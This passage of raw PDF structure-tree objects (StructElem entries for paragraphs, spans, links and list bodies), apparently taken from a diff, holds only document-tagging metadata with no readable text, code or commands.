[107 108 109] +/P 4935 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2227 0 obj +<< +/K [110 111 112] +/P 4936 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2228 0 obj +<< +/K [113 114] +/P 4937 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2229 0 obj +<< +/K [115 116] +/P 4938 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2230 0 obj +<< +/K [117 118] +/P 4938 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2231 0 obj +<< +/K [119 120] +/P 4938 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2232 0 obj +<< +/K [121 122 123] +/P 4938 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2233 0 obj +<< +/K [124 125] +/P 4939 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2234 0 obj +<< +/K [126 127] +/P 4939 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2235 0 obj +<< +/K [128 129] +/P 4940 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2236 0 obj +<< +/K [130 131] +/P 4940 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2237 0 obj +<< +/K [132 133] +/P 4940 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2238 0 obj +<< +/K [134 135 136] +/P 4940 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2239 0 obj +<< +/K [137 138 139] +/P 4941 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2240 0 obj +<< +/K [140 141 142] +/P 4942 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2241 0 obj +<< +/K [143 144] +/P 4943 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2242 0 obj +<< +/K [145 146] +/P 4943 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2243 0 obj +<< +/K [147 148] +/P 4943 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2244 0 obj +<< +/K [149 150] +/P 4943 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2245 0 obj +<< +/K [151 152 153] +/P 4943 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2246 0 obj +<< +/K [154 155 156] +/P 4944 0 R +/Pg 38 0 R +/S /P +/Type /StructElem +>> +endobj +2247 0 obj +<< +/K [0 1 2] +/P 4945 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2248 0 obj +<< +/K [3 4 5] +/P 4946 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2249 0 obj +<< +/K [6 7 8] +/P 4947 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2250 0 obj +<< +/K [9 10 11] +/P 4948 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2251 0 obj +<< +/K [12 13 14] +/P 4949 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2252 0 obj +<< +/K [15 16 17] +/P 4950 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2253 0 obj +<< +/K [18 19 20] +/P 4951 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2254 0 obj +<< +/K [21 22] +/P 4952 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2255 0 obj +<< +/K [23 24] +/P 4952 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2256 0 obj +<< +/K [25 26] +/P 4952 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2257 0 obj +<< +/K [27 28 29] +/P 4952 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2258 0 obj +<< +/K [30 31 32] +/P 4953 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2259 0 obj +<< +/K [33 34 35] +/P 4954 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2260 0 obj +<< +/K [36 37] +/P 4955 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2261 0 obj +<< +/K [38 39 40] +/P 4955 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2262 0 obj +<< +/K [41 42] +/P 4955 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2263 0 obj +<< +/K [43 44 45] +/P 4956 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2264 0 obj +<< +/K [46 47] +/P 4957 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2265 0 obj +<< +/K [48 49] +/P 4957 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2266 0 obj +<< +/K [50 51] +/P 4957 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2267 0 obj +<< +/K [52 53 54] +/P 4957 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2268 0 obj +<< +/K [55 56 57] +/P 4958 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2269 0 obj +<< +/K [58 59 60] +/P 4959 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2270 0 obj +<< +/K [61 62] +/P 4960 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2271 0 obj +<< +/K [63 64] +/P 4960 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2272 0 obj +<< +/K [65 66] +/P 4960 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2273 0 obj +<< +/K [67 68] +/P 4960 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2274 0 obj +<< +/K [69 70] +/P 4960 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2275 0 obj +<< +/K [71 72] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2276 0 obj +<< +/K [73 74] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2277 0 obj +<< +/K [75 76] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2278 0 obj +<< +/K [77 78] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2279 0 obj +<< +/K [79 80] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2280 0 obj +<< +/K [81 82] +/P 4961 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2281 0 obj +<< +/K [83 84] +/P 4962 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2282 0 obj +<< +/K [85 86 87] +/P 4962 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2283 0 obj +<< +/K [88 89 90] +/P 4963 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2284 0 obj +<< +/K [91 92] +/P 4964 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2285 0 obj +<< +/K [93 94] +/P 4965 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2286 0 obj +<< +/K [95 96] +/P 4965 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2287 0 obj +<< +/K [97 98] +/P 4966 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2288 0 obj +<< +/K [99 100 101] +/P 4966 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2289 0 obj +<< +/K [102 103] +/P 4967 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2290 0 obj +<< +/K [104 105] +/P 4967 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2291 0 obj +<< +/K [106 107 108] +/P 4967 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2292 0 obj +<< +/K [109 110 111] +/P 4968 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2293 0 obj +<< +/K [112 113 114] +/P 4969 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2294 0 obj +<< +/K [115 116] +/P 4970 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2295 0 obj +<< +/K [117 118] +/P 4970 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2296 0 obj +<< +/K [119 120] +/P 4970 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2297 0 obj +<< +/K [121 122 123] +/P 4970 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2298 0 obj +<< +/K [124 125] +/P 4971 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2299 0 obj +<< +/K [126 127] +/P 4971 0 R +/Pg 39 0 R +/S /P +/Type /StructElem +>> +endobj +2300 0 obj +<< +/K 2 +/P 837 0 R +/Pg 40 0 R +/S /Span +/Type /StructElem +>> +endobj +2301 0 obj +<< +/K 3 +/P 2335 0 R +/Pg 40 0 R +/S /Span +/Type /StructElem +>> +endobj +2302 0 obj +<< +/K 4 +/P 837 0 R +/Pg 40 0 R +/S /Span +/Type /StructElem +>> +endobj +2303 0 obj +<< +/K [11 12] +/P 4972 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2304 0 obj +<< +/K [13 14] +/P 4973 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2305 0 obj +<< +/K [15 16] +/P 4974 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2306 0 obj +<< +/K [17 18] +/P 4975 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2307 0 obj +<< +/K [19] +/P 4976 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2308 0 obj +<< +/K [20] +/P 4977 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2309 0 obj +<< +/K [21] +/P 4978 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2310 0 obj +<< +/K [22] +/P 4979 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2311 0 obj +<< +/K [23] +/P 4980 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2312 0 obj +<< +/K [24] +/P 4981 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2313 0 obj +<< +/K [25] +/P 4982 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2314 0 obj +<< +/K [26] +/P 4983 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2315 0 obj +<< +/K [27] +/P 4984 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2316 0 obj +<< +/K [28] +/P 4985 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2317 0 obj +<< +/K [29] +/P 4986 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2318 0 obj +<< +/K [30] +/P 4987 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2319 0 obj +<< +/K [31] +/P 4988 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2320 0 obj +<< +/K [32] +/P 4989 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2321 0 obj +<< +/K [33] +/P 4990 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2322 0 obj +<< +/K [34] +/P 4991 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2323 0 obj +<< +/K [35] +/P 4992 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2324 0 obj +<< +/K [36] +/P 4993 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2325 0 obj +<< +/K [37] +/P 4994 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2326 0 obj +<< +/K [38] +/P 4995 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2327 0 obj +<< +/K [39] +/P 4996 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2328 0 obj +<< +/K [40] +/P 4997 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2329 0 obj +<< +/K [41] +/P 4998 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2330 0 obj +<< +/K [42] +/P 4999 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2331 0 obj +<< +/K [43] +/P 5000 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2332 0 obj +<< +/K [44] +/P 5001 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2333 0 obj +<< +/K [45] +/P 5002 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2334 0 obj +<< +/K [46] +/P 5003 0 R +/Pg 40 0 R +/S /P +/Type /StructElem +>> +endobj +2335 0 obj +<< +/K [5004 0 R 2301 0 R] +/P 837 0 R +/Pg 40 0 R +/S /Link +/Type /StructElem +>> +endobj +2336 0 obj +<< +/K [4] +/P 4253 0 R +/Pg 41 0 R +/S /LBody +/Type /StructElem +>> +endobj +2337 0 obj +<< +/K 5 +/P 852 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2338 0 obj +<< +/K 6 +/P 2348 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2339 0 obj +<< +/K 7 +/P 852 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2340 0 obj +<< +/K 8 +/P 2349 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2341 0 obj +<< +/K 9 +/P 852 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2342 0 obj +<< +/K [11] +/P 4255 0 R +/Pg 41 0 R +/S /LBody +/Type /StructElem +>> +endobj +2343 0 obj +<< +/K [19] +/P 4257 0 R +/Pg 41 0 R +/S /LBody +/Type /StructElem +>> +endobj +2344 0 obj +<< +/K [20 21 22] +/P 4258 0 R +/Pg 41 0 R +/S /LBody +/Type /StructElem +>> +endobj +2345 0 obj +<< +/K 24 +/P 864 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2346 0 obj +<< +/K 25 +/P 2350 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2347 0 obj +<< +/K 26 +/P 864 0 R +/Pg 41 0 R +/S /Span +/Type /StructElem +>> +endobj +2348 0 obj +<< +/K [5005 0 R 2338 0 R] +/P 852 0 R +/Pg 41 0 R +/S /Link +/Type /StructElem +>> +endobj +2349 0 obj +<< +/K [5006 0 R 2340 0 R] +/P 852 0 R +/Pg 41 0 R +/S /Link +/Type /StructElem +>> +endobj +2350 0 obj +<< +/K [5007 0 R 2346 0 R] +/P 864 0 R +/Pg 41 0 R +/S /Link +/Type /StructElem +>> +endobj +2351 0 obj +<< +/K 0 +/P 865 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2352 0 obj +<< +/K 1 +/P 2363 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2353 0 obj +<< +/K 2 +/P 865 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2354 0 obj +<< +/K 3 +/P 866 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2355 0 obj +<< +/K 4 +/P 2364 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2356 0 obj +<< +/K 5 +/P 866 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2357 0 obj +<< +/K [12 13 14] +/P 4260 0 R +/Pg 42 0 R +/S /LBody +/Type /StructElem +>> +endobj +2358 0 obj +<< +/K [15 16 17] +/P 4261 0 R +/Pg 42 0 R +/S /LBody +/Type /StructElem +>> +endobj +2359 0 obj +<< +/K [18] +/P 4262 0 R +/Pg 42 0 R +/S /LBody +/Type /StructElem +>> +endobj +2360 0 obj +<< +/K 22 +/P 877 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2361 0 obj +<< +/K 23 +/P 2365 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2362 0 obj +<< +/K 24 +/P 877 0 R +/Pg 42 0 R +/S /Span +/Type /StructElem +>> +endobj +2363 0 obj +<< +/K [5008 0 R 2352 0 R] +/P 865 0 R +/Pg 42 0 R +/S /Link +/Type /StructElem +>> +endobj +2364 0 obj +<< +/K [5009 0 R 2355 0 R] +/P 866 0 R +/Pg 42 0 R +/S /Link +/Type /StructElem +>> +endobj +2365 0 obj +<< +/K [5010 0 R 2361 0 R] +/P 877 0 R +/Pg 42 0 R +/S /Link +/Type /StructElem +>> +endobj +2366 0 obj +<< +/K [0 1] +/P 5011 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2367 0 obj +<< +/K [2 3] +/P 5012 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2368 0 obj +<< +/K [4 5] +/P 5013 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2369 0 obj +<< +/K [6] +/P 5014 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2370 0 obj +<< +/K [7] +/P 5015 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2371 0 obj +<< +/K [8] +/P 5016 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2372 0 obj +<< +/K [9] +/P 5017 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2373 0 obj +<< +/K [10 11] +/P 5018 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2374 0 obj +<< +/K [12] +/P 5019 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2375 0 obj +<< +/K [13] +/P 5020 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2376 0 obj +<< +/K [14] +/P 5021 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2377 0 obj +<< +/K [15] +/P 5022 0 R +/Pg 43 0 R +/S /P +/Type /StructElem +>> +endobj +2378 0 obj +<< +/K [18] +/P 4266 0 R +/Pg 43 0 R +/S /LBody +/Type /StructElem +>> +endobj +2379 0 obj +<< +/K [19] +/P 4267 0 R +/Pg 43 0 R +/S /LBody +/Type /StructElem +>> +endobj +2380 0 obj +<< +/K [20] +/P 4268 0 R +/Pg 43 0 R +/S /LBody +/Type /StructElem +>> +endobj +2381 0 obj +<< +/K [21] +/P 4269 0 R +/Pg 43 0 R +/S /LBody +/Type /StructElem +>> +endobj +2382 0 obj +<< +/K 0 +/P 891 0 R +/Pg 44 0 R +/S /Span +/Type /StructElem +>> +endobj +2383 0 obj +<< +/ActualText ( ) +/K [1] +/P 891 0 R +/Pg 44 0 R +/S /Span +/Type /StructElem +>> +endobj +2384 0 obj +<< +/K 2 +/P 891 0 R +/Pg 44 0 R +/S /Span +/Type /StructElem +>> +endobj +2385 0 obj +<< +/K 3 +/P 918 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2386 0 obj +<< +/K 4 +/P 2393 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2387 0 obj +<< +/K 5 +/P 918 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2388 0 obj +<< +/K 6 +/P 2394 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2389 0 obj +<< +/K 7 +/P 918 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2390 0 obj +<< +/K 12 +/P 923 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2391 0 obj +<< +/K 13 +/P 2395 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2392 0 obj +<< +/K 14 +/P 923 0 R +/Pg 45 0 R +/S /Span +/Type /StructElem +>> +endobj +2393 0 obj +<< +/K [5023 0 R 2386 0 R] +/P 918 0 R +/Pg 45 0 R +/S /Link +/Type /StructElem +>> +endobj +2394 0 obj +<< +/K [5024 0 R 5025 0 R 2388 0 R] +/P 918 0 R +/Pg 45 0 R +/S /Link +/Type /StructElem +>> +endobj +2395 0 obj +<< +/K [5026 0 R 2391 0 R] +/P 923 0 R +/Pg 45 0 R +/S /Link +/Type /StructElem +>> +endobj +2396 0 obj +<< +/K 0 +/P 929 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2397 0 obj +<< +/ActualText ( ) +/K [1] +/P 929 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2398 0 obj +<< +/K 2 +/P 929 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2399 0 obj +<< +/K [9] +/P 4271 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2400 0 obj +<< +/K 10 +/P 5027 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2401 0 obj +<< +/K 11 +/P 2410 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2402 0 obj +<< +/K 12 +/P 5027 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2403 0 obj +<< +/K 13 +/P 2411 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2404 0 obj +<< +/K 14 +/P 5027 0 R +/Pg 46 0 R +/S /Span +/Type /StructElem +>> +endobj +2405 0 obj +<< +/K [15] +/P 4273 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2406 0 obj +<< +/K [16] +/P 4274 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2407 0 obj +<< +/K [21] +/P 4276 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2408 0 obj +<< +/K [22] +/P 4277 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2409 0 obj +<< +/K [23] +/P 4278 0 R +/Pg 46 0 R +/S /LBody +/Type /StructElem +>> +endobj +2410 0 obj +<< +/K [5028 0 R 2401 0 R] +/P 5027 0 R +/Pg 46 0 R +/S /Link +/Type /StructElem +>> +endobj +2411 0 obj +<< +/K [5029 0 R 2403 0 R] +/P 5027 0 R +/Pg 46 0 R +/S /Link +/Type /StructElem +>> +endobj +2412 0 obj +<< +/K 0 +/P 944 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2413 0 obj +<< +/ActualText ( ) +/K [1] +/P 944 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2414 0 obj +<< +/K 2 +/P 944 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2415 0 obj +<< +/K 12 +/P 954 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2416 0 obj +<< +/K 13 +/P 2423 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2417 0 obj +<< +/K 14 +/P 954 0 R +/Pg 47 0 R +/S /Span +/Type /StructElem +>> +endobj +2418 0 obj +<< +/K [19] +/P 4280 0 R +/Pg 47 0 R +/S /LBody +/Type /StructElem +>> +endobj +2419 0 obj +<< +/K [20] +/P 4281 0 R +/Pg 47 0 R +/S /LBody +/Type /StructElem +>> +endobj +2420 0 obj +<< +/K [21] +/P 4282 0 R +/Pg 47 0 R +/S /LBody +/Type /StructElem +>> +endobj +2421 0 obj +<< +/K [24] +/P 4284 0 R +/Pg 47 0 R +/S /LBody +/Type /StructElem +>> +endobj +2422 0 obj +<< +/K [25] +/P 4285 0 R +/Pg 47 0 R +/S /LBody +/Type /StructElem +>> +endobj +2423 0 obj +<< +/K [5030 0 R 2416 0 R] +/P 954 0 R +/Pg 47 0 R +/S /Link +/Type /StructElem +>> +endobj +2424 0 obj +<< +/K 0 +/P 964 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2425 0 obj +<< +/ActualText ( ) +/K [1] +/P 964 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2426 0 obj +<< +/K 2 +/P 964 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2427 0 obj +<< +/ActualText ( ) +/K [3] +/P 964 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2428 0 obj +<< +/K 4 +/P 964 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2429 0 obj +<< +/K 6 +/P 966 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2430 0 obj +<< +/K 7 +/P 966 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2431 0 obj +<< +/K 8 +/P 2454 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2432 0 obj +<< +/K 9 +/P 966 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2433 0 obj +<< +/K 10 +/P 966 0 R +/Pg 48 0 R +/S /Span +/Type /StructElem +>> +endobj +2434 0 obj +<< +/K [12] +/P 5031 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2435 0 obj +<< +/K [13] +/P 5032 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2436 0 obj +<< +/K [14] +/P 5033 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2437 0 obj +<< +/K [15] +/P 5034 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2438 0 obj +<< +/K [16] +/P 5035 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2439 0 obj +<< +/K [17] +/P 5036 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2440 0 obj +<< +/K [18] +/P 5037 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2441 0 obj +<< +/K [19] +/P 5038 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2442 0 obj +<< +/K [20] +/P 5039 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2443 0 obj +<< +/K [21] +/P 5040 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2444 0 obj +<< +/K [22] +/P 5041 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2445 0 obj +<< +/K [23] +/P 5042 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2446 0 obj +<< +/K [24] +/P 5043 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2447 0 obj +<< +/K [25] +/P 5044 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2448 0 obj +<< +/K [26] +/P 5045 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2449 0 obj +<< +/K [27] +/P 5046 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2450 0 obj +<< +/K [28] +/P 5047 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2451 0 obj +<< +/K [29] +/P 5048 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2452 0 obj +<< +/K [30] +/P 5049 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2453 0 obj +<< +/K [31] +/P 5050 0 R +/Pg 48 0 R +/S /P +/Type /StructElem +>> +endobj +2454 0 obj +<< +/K [5051 0 R 2431 0 R] +/P 966 0 R +/Pg 48 0 R +/S /Link +/Type /StructElem +>> +endobj +2455 0 obj +<< +/K 1 +/P 5052 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2456 0 obj +<< +/K 2 +/P 5052 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2457 0 obj +<< +/K 3 +/P 2524 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2458 0 obj +<< +/K 4 +/P 5052 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2459 0 obj +<< +/K 5 +/P 2525 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2460 0 obj +<< +/K 6 +/P 5052 0 R +/Pg 49 0 R +/S /Span +/Type /StructElem +>> +endobj +2461 0 obj +<< +/K [7 8] +/P 5053 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2462 0 obj +<< +/K [9 10] +/P 5054 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2463 0 obj +<< +/K [11 12] +/P 5055 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2464 0 obj +<< +/K [13 14] +/P 5056 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2465 0 obj +<< +/K [15 16] +/P 5057 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2466 0 obj +<< +/K [17 18] +/P 5058 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2467 0 obj +<< +/K [19 20] +/P 5059 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2468 0 obj +<< +/K [21 22] +/P 5060 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2469 0 obj +<< +/K [23 24] +/P 5061 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2470 0 obj +<< +/K [25 26] +/P 5062 0 R +/Pg 49 0 R +/S /P +/Type /StructElem +>> +endobj +2471 0 obj 